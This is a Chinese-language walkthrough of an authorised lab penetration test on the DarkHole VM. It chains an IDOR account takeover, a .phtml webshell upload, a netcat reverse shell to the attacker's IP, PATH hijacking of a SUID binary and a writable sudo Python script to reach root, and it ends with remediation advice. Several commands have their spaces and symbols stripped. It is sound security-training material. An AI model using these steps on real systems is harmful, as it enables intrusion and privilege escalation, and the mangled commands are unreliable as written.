ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

DarkHole 靶场渗透测试实战:从 IDOR 越权到 Linux Root 提权

DarkHole 靶场渗透测试实战:从 IDOR 越权到 Linux Root 提权 本文记录一次在本地授权靶场中的完整渗透测试过程内容仅用于网络安全学习、靶场复现与防御研究请勿用于未授权目标。前言本次实验目标是一台运行在 VMware 中的 DarkHole 靶机。开始时只知道靶机位于192.168.134.0/24网段不知道具体 IP。整个攻击链如下主机探活 → 端口与服务扫描 → Web 目录枚举 → IDOR 越权接管管理员账号 → 绕过上传后缀限制 → WebShell 与反弹 Shell → 枚举 SUID 程序 → PATH 劫持获得 john 权限 → SSH 登录并发现 sudo 配置缺陷 → 覆盖 Python 脚本获得 root实验环境项目信息攻击机Kali Linux目标网段192.168.134.0/24靶机 IP192.168.134.148Web 服务HTTP / 80远程服务SSH / 22一、主机探活首先对已知网段进行 Ping 扫描枚举当前网络中的存活主机nmap-sP192.168.134.0/24扫描结果中发现192.168.134.148存活结合虚拟机环境判断这就是本次实验的目标主机。二、端口与服务扫描确认目标 IP 后对其进行全端口扫描nmap-sS-T5-sC-p- --min-rate10000192.168.134.148参数说明-sSSYN 半开放扫描速度较快不完成完整 TCP 三次握手。-T5使用较快的扫描时间模板适合本地靶场。-sC运行 Nmap 默认脚本对常见服务进行基础探测。-p-扫描全部 TCP 端口即 165535。--min-rate 10000设置每秒最少发送 10000 个探测包提高扫描速度。扫描发现两个关键端口22/tcp open ssh 80/tcp open http80 端口提供 Web 服务是当前的主要突破入口22 端口的 SSH 服务则可能在后续拿到凭据后使用。三、Web 目录枚举使用dirsearch对 Web 目录和 PHP 文件进行枚举dirsearch-uhttp://192.168.134.148-e*扫描过程中发现了登录、注册和上传等相关路径其中包括/register.php /login.php /upload/访问注册页面先注册一个普通用户再通过登录页面进入系统。四、IDOR 越权接管管理员账号登录普通账号后可以看到个人资料和修改密码功能。当前普通用户的 URL 参数中出现了id2http://192.168.134.148/dashboard.php?id2普通用户的 ID 为 2因此可以合理猜测管理员用户的 ID 很可能是 1。点击修改密码并使用 Burp Suite 抓包可以看到请求体中直接携带用户 IDPOST /dashboard.php?id2 HTTP/1.1 Host: 192.168.134.148 Content-Type: application/x-www-form-urlencoded password222id2将请求中的目标 ID 修改为 1password222id1请求成功后返回登录页面使用修改后的凭据登录成功进入管理员账号。管理员页面比普通用户多出了文件上传功能。这里存在典型的 IDOR不安全的直接对象引用问题服务端直接信任客户端传入的用户 ID却没有验证当前会话是否有权修改目标账户。五、绕过文件上传限制管理员页面提供文件上传功能。直接尝试上传 PHP 文件时页面提示只允许以下后缀jpg、png、gif在 PHP 环境中除了.php某些配置还可能把.phtml、.php3等后缀当作 PHP 脚本解析。因此可以使用 Burp Suite 修改上传文件名将后缀改为.phtml。shell.php → shell.phtml服务器返回上传成功。访问上传目录可以看到shell.phtml已经存在http://192.168.134.148/upload/该问题的根因是服务器只检查了少量文件扩展名并且上传目录仍然允许 Web 服务器解析脚本。六、连接 WebShell在蚁剑中配置上传后的 WebShell 地址并填写与 WebShell 对应的连接密码http://192.168.134.148/upload/shell.phtml测试连接成功说明已经能够在 Web 服务器上执行命令。通过文件管理功能可以浏览服务器目录当前权限落点为 Web 服务账户www-data。七、获取反弹 ShellWebShell 操作不如本地终端方便因此继续获取反弹 Shell。首先在 Kali 上监听 4444 端口nc-lvvp4444准备 PHP 反弹 Shell 文件并把攻击机地址和监听端口配置为攻击机 IP192.168.134.129 监听端口4444在目标服务器上触发反弹 Shell 后Kali 成功收到连接查看当前身份whoami输出为www-data为了获得更稳定的交互式终端使用 Python 升级 PTYpython3-cimport pty; pty.spawn(/bin/bash)八、枚举 SUID 文件获得本地 Shell 后开始进行 Linux 提权枚举。首先查找具有 SUID 权限的文件find/-perm-us-typef2/dev/null扫描结果中大部分都是系统常见的 SUID 程序但下面这个文件明显不是系统默认程序/home/john/toto进入 john 的家目录查看文件cd/home/johnls-la目录中还存在user.txt和password但当前www-data用户没有读取权限catuser.txtcatpassword输出Permission denied九、利用 PATH 劫持获得 john 权限进一步分析toto后发现它会调用系统的id命令但没有使用绝对路径。程序运行时会按照PATH环境变量指定的顺序搜索命令因此可以尝试 PATH 劫持。进入/tmp伪造一个名为id的脚本cd/tmptouchidecho/bin/bashidchmod777id把/tmp放到 PATH 的最前面exportPATH/tmp:$PATH返回 john 的家目录并运行totocd/home/john ./toto此时成功获得 john 用户上下文可以读取之前无权访问的文件catuser.txtcatpassword读取结果user.txtDarkHole{You_Can_Do_It} passwordroot123十、使用 SSH 登录 john前面的端口扫描显示目标开放了 22 端口因此使用获得的凭据尝试 SSH 登录sshjohn192.168.134.148输入密码root123后登录成功。验证当前用户whoami输出为john十一、利用 sudo 可写脚本提权查看 john 拥有的 sudo 权限sudo-l结果显示john 可以使用 root 权限执行下面的 Python 脚本/usr/bin/python3 /home/john/file.py问题在于file.py位于 john 自己的家目录并且当前用户可以修改它。于是将提权代码写入脚本echoimport os; os.system(/bin/bash)/home/john/file.py再使用 sudo 执行sudopython3 /home/john/file.py检查当前身份whoami输出root至此提权成功。十二、读取最终 Flag进入 root 家目录并查看文件cd/rootlscatroot.txt最终 FlagDarkHole{You_Are_Legend}十三、漏洞链复盘本次实验并不是依靠单一漏洞直接获得 root而是把多个配置和权限缺陷串联在了一起。1. IDOR 越权服务端直接使用客户端传入的用户 ID 修改账户信息没有确认当前会话是否有权操作目标用户。修复建议不要仅依赖客户端传入的对象 ID。每次读取或修改对象时都进行服务端授权校验。从当前登录会话中获取用户身份而不是信任请求参数。2. 文件上传验证不足服务器只限制了少量扩展名.phtml仍然可以被解析为 PHP 脚本而且上传目录允许执行脚本。修复建议上传文件由服务器重新命名不保留用户提供的文件名。同时检查扩展名、MIME 类型和文件真实内容。上传目录与 Web 根目录隔离。禁止上传目录解析 PHP、PHTML 等脚本。对图片进行重新编码后再保存。3. SUID 程序依赖可控 PATHSUID 程序toto调用外部命令时没有使用绝对路径使攻击者可以通过修改PATH劫持命令执行流程。修复建议特权程序调用命令时使用绝对路径。执行前清理PATH等环境变量。定期审计非系统默认的 SUID 文件。尽量移除不必要的 SUID 权限。4. sudo 执行普通用户可写脚本john 可以用 root 权限执行/home/john/file.py同时又能够修改该文件相当于可以控制 root 将要执行的代码。修复建议sudo 目标脚本必须归 root 所有普通用户不可写。特权脚本应放在/usr/local/sbin等受保护目录。使用最小权限原则配置 sudoers。避免允许用户通过解释器执行可控脚本。总结本次 DarkHole 靶场的完整攻击路径为192.168.134.148 → Web 普通用户 → IDOR 接管管理员 → phtml 上传绕过 → www-data WebShell → 反弹 Shell → SUID/PATH 劫持 → john → sudo 可写 Python 脚本 → root这次实验最重要的启示是单个低危问题可能不足以导致系统失陷但如果授权、文件上传、SUID 和 sudo 配置同时存在缺陷攻击者就可以把一个普通 Web 入口逐步放大为 root 权限。
返回列表